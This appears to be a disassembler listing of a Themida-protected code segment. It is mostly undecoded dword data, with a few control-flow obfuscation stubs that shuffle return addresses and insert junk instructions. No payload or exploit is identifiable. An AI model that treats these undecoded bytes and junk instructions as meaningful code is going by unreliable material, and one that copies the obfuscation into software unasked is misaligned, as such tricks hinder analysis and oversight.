dd 613C5568h, 101830Fh, 85890000h, 6102A99h, 0BAC8B60Fh
dd 6, 12E9h, 6A46BD00h, 0C65F885Fh, 0DD5CF6ABh, 0E49939BBh
dd 8B3B06E5h, 9E9C1h, 0D4A10000h, 0B6F15927h, 0C10D83A3h
dd 0BD8B04E8h, 6100AADh, 60E2F766h, 820FFA8Bh, 6, 10919D01h
dd 2B610610h, 0A1BD8BC8h, 8B061005h, 599D8BD1h, 0E9061005h
dd 9Bh, 2369B529h, 89600610h, 102D9D9Dh, 77F18106h, 615EB139h
dd 4C50858Bh, 10E94755h, 6D000000h, 0A65AF135h, 0B543232Ch
dd 0F84B4339h, 837AE807h, 858907C0h, 610221Dh, 8900C083h
dd 10079DB5h, 0FD03B06h, 683h, 4CE9F800h, 8B000000h, 0FFFFFF8Dh
dd 35BD8BFFh, 83061033h, 840F01E1h, 37h, 68D0Fh, 9D8B0000h
dd 6102309h, 0FFFFA583h, 0E8FEFFFFh, 0Dh, 37BFF599h, 0E50DBEB4h
dd 0DB3F07D5h, 95895FEFh, 47554C50h, 7458589h, 0E90610h
dd 8D000000h, 147ECCB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1B04h, 0C3554500h, 0FD51FC2Ch, 7A25624Bh
dd 2A65BD89h, 6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 0BBC35747h, 0F0EBDD5h, 68Ch, 56CB8100h
dd 0FF64E06Ch, 1031C995h, 359D8B06h, 0B9061021h, 0F37h
dd 11A1BD8Bh, 0E1830610h, 55006AFCh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 3273BC9Fh
dd 11929170h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 627F69E7h, 4FBAB51h, 0E3816656h
dd 0B8EA39h, 0BB000000h, 4516BEDh, 0BD8BD22Bh, 6100DA1h
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 31C35343h, 219A8212h, 0BB4357C0h
dd 2F3B911Dh, 6860Fh, 0BD8B0000h, 6102161h, 880Dh, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0FE8BC144h, 9F5958Bh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 8D8BE8C3h, 6102319h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E3C35141h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0B9605818h
dd 1F24790Ch, 1DC98509h, 89610610h, 102E7185h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 31A16BFEh, 34B337D4h, 10E8697Bh, 0A5000000h, 45B67BCBh
dd 282EAC2h, 53E55BDCh, 8B9847D9h, 101425BDh, 0BD835B06h
dd 6101E29h, 47840F00h, 0F000000h, 8Dh, 0B800h, 0DE8B0000h
dd 2871BD8Bh, 8D8D0610h, 6104E85h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 0DC35343h, 9DE983DFh, 1425BD8Bh
dd 0E1FF0610h, 1C61BD89h, 0BD830610h, 61022C1h, 2E840F00h
dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 8898C353h, 5880Fh, 0ADBB0000h
dd 830AAB0Dh, 1022C1BDh, 840F0106h, 414h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 14h, 0BC35646h, 6810Fh
dd 0BD8B0000h, 61000B9h, 22C1BD83h, 0F030610h, 3A986h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 0D73758B9h, 0B3217F3Eh, 0E38169FEh, 24982874h
dd 6A60F98Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 0D070C352h, 7DFDFBE2h, 48EFA20Dh
dd 2199BD29h, 0C3810610h, 0E45CE2Fh, 6AD98C66h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0D3F1C351h, 0E8CCE47Ah, 0Bh, 85E9BBADh, 0EBF7F614h
dd 29D7381Eh, 102F89B5h, 0E1805F06h, 59958904h, 0A061021h
dd 0ED840FC9h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 0E27AC355h, 9A8DFA4Dh, 0B76D2DE2h, 2185858Bh, 6A0610h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 81407C3h, 6D09BB66h, 11FD8533h, 6A0610h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 72C755C3h
dd 9CAB34E3h, 67D9D8Bh, 60500610h, 8961D48Ah, 0E7802404h
dd 0F006A15h, 583h, 8741BB00h, 5681196h, 0F5652B4h, 280h
dd 8192B300h, 0B7FA2434h, 9D31564Dh, 6101079h, 5D595FFh
dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 89A7EAC3h, 13C26D85h, 49858906h, 0E9061012h
dd 1D2h, 21359D0Bh, 95890610h, 6100229h, 0C265858Bh, 6A0613h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 7F819DC3h, 0FE8B660Ah, 1800C7h, 8D890000h, 6101F4Dh
dd 6820Fh, 0DB810000h, 725E64D4h, 0C269B58Bh, 0BD890613h
dd 6102809h, 0E25858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 11271CC3h, 852964EDh
dd 6102195h, 858B0689h, 6102185h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 65C35242h, 810FA009h, 6, 10819589h
dd 46890610h, 68B0F04h, 89000000h, 100A39B5h, 0F88B5006h
dd 31243489h, 1016F1BDh, 65B5FF06h, 8B0613C2h, 101275BDh
dd 4E806h, 3FF0000h, 0FA8B001Fh, 0DE850h, 0D9B90000h, 40C783FDh
dd 5B8E18ABh, 0E90FDB1Fh, 0Ah, 0EAF16588h, 0FB90901Fh
dd 8B5BB04Bh, 0BF042444h, 15F241Eh, 0E0BB008Bh, 892744A6h
dd 58042444h, 0BF0F68B7h, 6D858DDBh, 0B0613C2h, 101D3DBDh
dd 66605006h, 14E8D08Bh, 0E1000000h, 0CC409266h, 85E3F93Bh
dd 0A18C1FB6h, 0E3C4838Ch, 0E86E1BA6h, 0Eh, 0EB196865h
dd 5C0A3EE8h, 0D8026691h, 5E5EB3A9h, 24048961h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 59C35242h, 0D595FFF8h
dd 6A061005h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 763BC356h, 6F53139Eh, 0E860B0E2h
dd 0Dh, 0F9B697AEh, 0F330F5D0h, 15C13B34h, 21958B01h, 5F06100Eh
dd 27E9B509h, 66610610h, 8A61D88Bh, 0C185C7DCh, 3061022h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 94EDC350h, 0D729D728h, 972A530h
dd 83FAB70Fh, 13C26DBDh, 840F0006h, 0Ah, 1EE9D98Bh, 80000000h
dd 3050E5F3h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 518D89C0h, 2B061005h, 100F259Dh, 0C1BD8306h
dd 3061022h, 418850Fh, 8B600000h, 100899BDh, 0BD836106h
dd 613C26Dh, 3840F00h, 6A000004h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 6A35C356h
dd 95F859ECh, 0E8FC12B3h, 7, 6FB05F22h, 66D32FF9h, 8B5BD88Bh
dd 6DB5FFDEh, 0E90613C2h, 0Dh, 71DE9F61h, 0BB154343h, 0D2E9FB1h
dd 0A595FFD5h, 6606102Fh, 8BE905BFh, 13C261B5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 685B0103h, 106C7BFh, 0F000100h, 68Eh, 39BD0100h, 96061028h
dd 0E850DA8Bh, 14h, 9663C294h, 8E795FE1h, 91EBF02Ah, 0D0D8B31Bh
dd 0ABE8EEDAh, 6A965Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 1A1DBC3h, 8BAD9D49h, 1000C99Dh
dd 0D1958906h, 0FF06101Fh, 13C26DB5h, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 8B336F8Ah, 102A19BDh, 5DBD0B06h, 0FF06102Ah, 10122595h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 25A7499Bh, 0B58B30EDh, 613C261h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B4C35343h, 6D652C10h
dd 8089FFBFh, 0BD29B4EBh, 61022F5h, 21D1858Bh, 21BF0610h
dd 812486F1h, 0E66764DBh, 0C486892Fh, 0FC000000h, 88D0Fh
dd 8B560000h, 10225D9Dh, 958B5F06h, 61009F5h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 9FC35545h, 0E9FFD3E4h
dd 0Eh, 57006D8h, 49FD6FF4h, 12E17381h, 890F4D52h, 6, 131DBD8Bh
dd 0C2830610h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 0ECCC0393h, 73609ADBh
dd 0D9BF0F16h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 2E2AC356h, 2B9C2BB2h
dd 100975BDh, 36C38106h, 8D25448Fh, 13D7C285h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 9DF208A5h, 3736DA08h, 0B8868975h, 0BB000000h, 43E8FDF9h
dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 1DC256C3h, 0FFC79C47h, 13C26DB5h, 95FFF806h
dd 6100495h, 30D19D8Bh, 0B7500610h, 24348910h, 0EB816653h
dd 0FF5BEC0Bh, 13C26DB5h, 2D95FF06h, 6A061016h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 0F941C355h, 4254A8B9h, 21BD8B55h, 8306101Bh, 101351BDh
dd 840F0006h, 3Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0EBC35545h, 0BF21D3A6h, 96660983h, 8840Fh
dd 50530000h, 5A310F52h, 53505B58h, 2830Fh, 61600000h
dd 0B5FF965Bh, 613C26Dh, 0A758589h, 95FF0610h, 6100C19h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 8AC35141h
dd 66AC205Eh, 0FF25C7BFh, 13C26DB5h, 7DB50106h, 8B061023h
dd 101D85BDh, 2195FF06h, 33061016h, 102D69BDh, 89BD8306h
dd 206100Fh, 5E840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 0E07850C3h, 96A63430h
dd 63D381CEh, 8B0B8196h, 1010C585h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 4893B75Dh
dd 0C6F81Bh, 0A9BD2B00h, 0BF06100Ch, 5D5C9127h, 2A2585C7h
dd 610h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 9BE90CC3h, 8BFFFFF3h, 4C14BFC1h
dd 858D4C60h, 61013B9h, 0E89064B7h, 13h, 0E6104E24h, 0BAFF1AC1h
dd 4EA70CCFh, 0CCB41DF1h, 0BBCBD04Fh, 47D866A8h, 840F505Bh
dd 5, 0D88B6652h, 890F905Bh, 6, 18D99D8Bh, 6A0610h, 6AF88Bh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F7C35747h
dd 244E307Ah, 89E4EF8Eh, 101B058Dh, 5E858D06h, 0E9061518h
dd 0Eh, 0A9942C31h, 0E4570B97h, 365620Bh, 0C0836B7Eh, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0B1C93A87h, 0F020F2BDh, 6650F941h, 489F98Bh, 8E924h
dd 0D0610000h, 4F34D70Dh, 6A1AA8h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 2CC35141h, 7073DA5Fh, 7C89D708h
dd 0FE4FABBh, 60006A53h, 21D8529h, 81600610h, 0DF3772D6h
dd 699D891Ch, 61061004h, 1995FF61h, 6A06101Dh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 0DE43C353h, 4117B68Dh, 80F88B88h, 8D8D4EC7h, 613AFD8h
dd 0D1B589h, 0D1FF0610h, 5840Fh, 81660000h, 0BB7812EFh
dd 4AC10838h, 2209BD83h, 0F010610h, 0A485h, 0F9B70F00h
dd 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 3E3A4AC3h, 609071B3h, 0B832BF66h, 0CB5B3DBBh
dd 6050610Ch, 56BE5250h, 0F79C1BDh, 5A616031h, 4B77BA58h
dd 90612427h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 39C35747h, 67A3BA6Bh, 0BAB2107h, 1009A99Dh, 0F98B6606h
dd 49595FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 7C10A4C3h, 0ADA52D6Ah, 236AFAD8h
dd 10284DBDh, 0DEFE906h, 0E80000h, 5D000000h, 1868ED81h
dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 5EBF7CC3h, 817BED82h, 42C5FCD3h, 0B6858D7Eh
dd 6A061399h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 594CC357h, 0B03EEE98h, 31AE68F4h
dd 102F0985h, 19D8B06h, 5006102Dh, 6187B260h, 51240489h
dd 0CE95Bh, 66560000h, 2C8E2309h, 4061F34Bh, 0FF64DEC5h
dd 35h, 2DBD8900h, 0E906100Fh, 10h, 0B6ADA348h, 509BDA77h
dd 18F5C8F4h, 0CEB84DA8h, 258964h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 56DAC357h, 0E5C42D23h, 1375BB26h, 85FF6AB0h, 6101419h
dd 22859D8Bh, 0FF6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 0EDC35747h, 0DE8A1D9Bh, 8A1B5FFh, 0F3800610h
dd 1595FF00h, 0E9061006h, 0E2h, 0B014B7h, 759BD8Bh, 70E60610h
dd 2D519D29h, 71E40610h, 8ACBF66h, 830F613Ch, 0C2h, 0FFABF0Fh
dd 7E8C8B6h, 0E6000000h, 0A5CF4993h, 9D098377h, 6100DA9h
dd 6BA5Fh, 8B660000h, 60C18BF8h, 1935B589h, 10E80610h
dd 0B8000000h, 103A9CACh, 35166DB2h, 3AFE92ECh, 662E4F8Ah
dd 350D081h, 0E8C1615Eh, 66F98B04h, 9D89E2F7h, 6100825h
dd 91BBC82Bh, 8B431CC1h, 0FE8B66D1h, 5DE9h, 0DBB70F00h
dd 4E49858Bh, 9D2B4400h, 61009B1h, 6607C083h, 83BC2EBBh
dd 0B70F00C0h, 0FD03BDBh, 0B83h, 34E900h, 9D8B0000h, 6103161h
dd 0FFFF8D8Bh, 0B529FFFFh, 61001C9h, 0F01E183h, 1984h
dd 83EDB300h, 0FFFFFFA5h, 0BB66FEFFh, 9589BE52h, 44004E49h
dd 0E9FCh, 0B58D0000h, 6148E03h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 89C35747h, 68B49969h, 0CE9186Eh
dd 7A000000h, 81C01BF0h, 17F02684h, 6AB00DCBh, 3DBD8B00h
dd 0FF06101Dh, 1031C995h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0DCB932C7h
dd 6A00000Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 0D446C351h, 0CBD3F0A2h, 398B3AB9h
dd 0BE8h, 3DE6F400h, 688D308Fh, 6BB72571h, 12418529h, 835B0610h
dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 8BAAEC3h, 0CF816681h, 0E8FCBD96h, 6, 0A829EEDDh
dd 12E84864h, 51000000h, 749A87ACh, 50935FFBh, 77204F1Ch
dd 7DE24A94h, 0F99D8B4Ch, 5B061018h, 89C02B5Fh, 10311D95h
dd 0BA06h, 0B70F0000h, 0C233ADDAh, 0D003E8D1h, 7504E983h
dd 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 18CBE417h, 5F5F5756h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0D4C35545h, 67384E7Ch, 8F0F5D82h
dd 6, 0A219D89h, 9D8B0610h, 610142Dh, 880Dh, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 8B4DD54Bh, 1009F595h, 0D9B70F06h, 0ECF8166h, 198D8BF8h
dd 6A061023h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0DDEAC356h, 0D52A9569h, 7BE5B396h
dd 66F8E780h, 508E8ABBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 2D967712h, 9DC549D9h, 6870FF1h, 89000000h
dd 1001C185h, 0DE806h, 69DC0000h, 0B9FD9F96h, 7A56E3F4h
dd 89DA1989h, 100DC59Dh, 89605B06h, 102A9995h, 0C1953306h
dd 61061012h, 1E29BD83h, 0F000610h, 8784h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 0BD8979C1h, 6101FADh, 8E9h, 56392E00h, 53E2F800h, 0B82Ch
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 0DA8BDCC3h, 8D8DDF8Bh, 6104E85h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 3C35747h, 315048C2h
dd 100E959Dh, 0BFE1FF06h, 392329Ah, 22C1BD83h, 0F000610h
dd 45084h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 4E2BB4D2h, 22C1BD83h, 0F010610h
dd 43F84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 7A1C2D6Bh, 42BB66F7h, 15840FAEh
dd 0E8000000h, 0Fh, 0F8FBBF09h, 405679D7h, 922D9960h, 5F2DE595h
dd 22C1BD83h, 0F030610h, 3BD86h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 664C6E54h
dd 0BDC4F781h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 0EA1618E3h, 0B9BD8B9Eh
dd 6606101Bh, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 662042C3h, 0A9BF381h, 4E180F8h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9BC35646h
dd 0F711B1Fh, 0C90AF9BFh, 0FF840Fh, 8D890000h, 6102079h
dd 2185858Bh, 0E9570610h, 10h, 66D0B441h, 3CF2E1D3h, 0E33B2EE5h
dd 6B7C9FCFh, 0FD85335Bh, 81061011h, 883BFED3h, 0BB66503Fh
dd 489C5E9h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 5800FFEh, 0BB000000h, 4CFCCB87h
dd 9D8BFA8Ah, 6101AE9h, 0CEBF006Ah, 68577124h, 500A4246h
dd 5526A6BFh, 2434812Ch, 501541B9h, 5830Fh, 81660000h
dd 0FF481ACFh
dd 1005D595h, 0FD9D8B06h, 89061010h, 13C26D85h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0ECF46404h, 0E8058C43h, 8A0F4E88h, 4, 0EC54BB66h, 1D8E9h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 658D891Ch, 0F061014h, 88Eh, 2800F00h, 8A000000h
dd 65858BFAh, 6A0613C2h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 2B96C352h, 8B662450h
dd 0C7F98ADFh, 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 5CEB81E0h, 8B29D5B7h
dd 13C269B5h, 0C830F06h, 0F000000h, 680h, 0F1BD8B00h, 8B061005h
dd 100E2585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 73CF675Bh, 634BBC57h, 0EE869h, 0EF6E0000h
dd 0B28A1FC4h, 7E78CE0Fh, 0CF8663F2h, 11E58D89h, 895B0610h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 5DFFF349h, 0A936045Bh, 858BA051h, 6102185h
dd 4689F98Bh, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 89594E5Fh, 101B7185h, 60BF9606h
dd 500554DEh, 0D88B6696h, 0C265B5FFh, 0E9F50613h, 0Bh
dd 0C40C1E97h, 5453AADAh, 68D6E18Fh, 808CBD4Eh, 799DF5BFh
dd 24048107h, 7F9246B1h, 2F298589h, 858D0610h, 613C26Dh
dd 16850F50h, 0E8000000h, 10h, 0E2D1D925h, 0FDEABFF2h
dd 36A5EC56h, 1B69EBA8h, 8E0F5F5Bh, 3, 90D8B70Fh, 0BF50F7B7h
dd 0C07D08Ch, 4830F90h, 66000000h, 0FFB3BBBBh, 1005D595h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 6A19F9E1h, 0EFA0B5B8h, 6A6126h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0C74650C3h, 0E46196Dh, 1B5898Bh, 0C706101Eh, 1022C185h
dd 306h, 0DEB70F00h, 0B519D89h, 0BD830610h, 613C26Dh, 2F840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 0D681C357h, 27E92Fh, 800F0000h
dd 6, 1CF99589h, 30500610h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 205BF983h, 22BF6660h
dd 0D8B70F5Ah, 68A0F61h, 89000000h, 1013D9B5h, 0C1BD8306h
dd 3061022h, 424850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0A82B8EC3h, 0B70FF686h
dd 6DBD83FEh, 613C2h, 3F4840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 4C432CC3h
dd 2C44D062h, 0FFFC7439h, 13C26DB5h, 0FFC0B706h, 102FA595h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0FF21241h, 0F71D320Eh, 0BF66B8B8h, 0B58B90C2h
dd 613C261h, 2DA59509h, 6C70610h, 10001h, 39EBBF66h, 50606096h
dd 5A310F52h, 0DE858h, 0B8640000h, 0EBA35E1Fh, 0F352109Ah
dd 5E2E2F5Eh, 0D38B6661h, 57565061h, 5B5F5F52h, 56006A96h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0BAA22FFh, 0BF621578h, 45BD899Ah, 0FF06102Ah, 13C26DB5h
dd 0DF816606h, 95FFCF22h, 6101225h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 3DC35747h, 9589F813h, 6101F55h
dd 0C261B58Bh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 456C28C3h, 56074690h, 538966D6h
dd 1E6D9D8Bh, 8B5B0610h, 1021D185h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0BD2B52E3h
dd 61032B9h, 0C486895Bh, 8B000000h, 1009F595h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0A1B9702Ah, 89222CF7h, 1011718Dh, 0E95F5106h, 9, 26D5FAC5h
dd 87F178A7h, 4C28309h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0E2C35141h, 8660A79Eh, 89DFF07Eh, 8D0F2050h
dd 6, 0DC59589h, 858D0610h, 613D7C2h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 76C35242h, 4B715678h, 0D5A1E786h
dd 0B886895Bh, 8B000000h, 1027859Dh, 6A006A06h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 7F2CC352h, 0BF0F60CFh, 0DFBF0FC7h, 0DA816061h, 44A360D6h
dd 0FE78166h, 0B5FF613Bh, 613C26Dh, 8E9h, 6F29DF00h, 0D7CE3498h
dd 9595FF7Fh, 29061004h, 10090985h, 0BB665006h, 3489E133h
dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0D381662Dh, 0B5FF26B6h, 613C26Dh, 2D95FFFCh
dd 6A061016h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0F4DC357h, 81h, 0C0CF8100h, 837FA6C4h
dd 101351BDh, 840F0006h, 4Eh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 0C3C35343h, 21523E80h, 3197AE08h
dd 100011BDh, 34895006h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 0D65B1740h, 0B5FFD891h
dd 613C26Dh, 0FFF98B66h, 100C1995h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 174CA6FAh
dd 75858987h, 0FF06102Dh, 13C26DB5h, 0E1EF8006h, 162195FFh
dd 7E90610h, 0F4000000h, 242D03C2h, 890F4E67h, 0
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+6100F89h], 2
jz loc_59DA5E
push 0
push ecx
call sub_59DA18
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59DA18 proc near ; CODE XREF: Themida_:0059DA10p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_59DA18 endp
; ---------------------------------------------------------------------------
xchg eax, edi
and edi, [esp]
xchg eax, edx
and al, 82h
mov [ebp+6102A01h], ebx
mov eax, [ebp+61010C5h]
mov byte ptr [eax], 0
push 0
push ebp
call sub_59DA4A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59DA4A proc near ; CODE XREF: Themida_:0059DA42p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_59DA4A endp
; ---------------------------------------------------------------------------
dw 0E85Bh
; ---------------------------------------------------------------------------
mov gs, bx
loc_59DA5E: ; CODE XREF: Themida_:0059DA07j
mov dword ptr [ebp+6102A25h], 0
push 0
push edx
call sub_59DA73
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59DA73 proc near ; CODE XREF: Themida_:0059DA6Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_59DA73 endp
; ---------------------------------------------------------------------------
db 6Ah
dd 2B70CCA7h, 1FE977DAh, 8BFFFFF3h, 102805BDh, 6AC18B06h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 17F2C351h, 89A7F4DDh, 101F9585h, 0B9858D06h
dd 6A061013h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 8104C355h, 50C203DFh, 4895009h
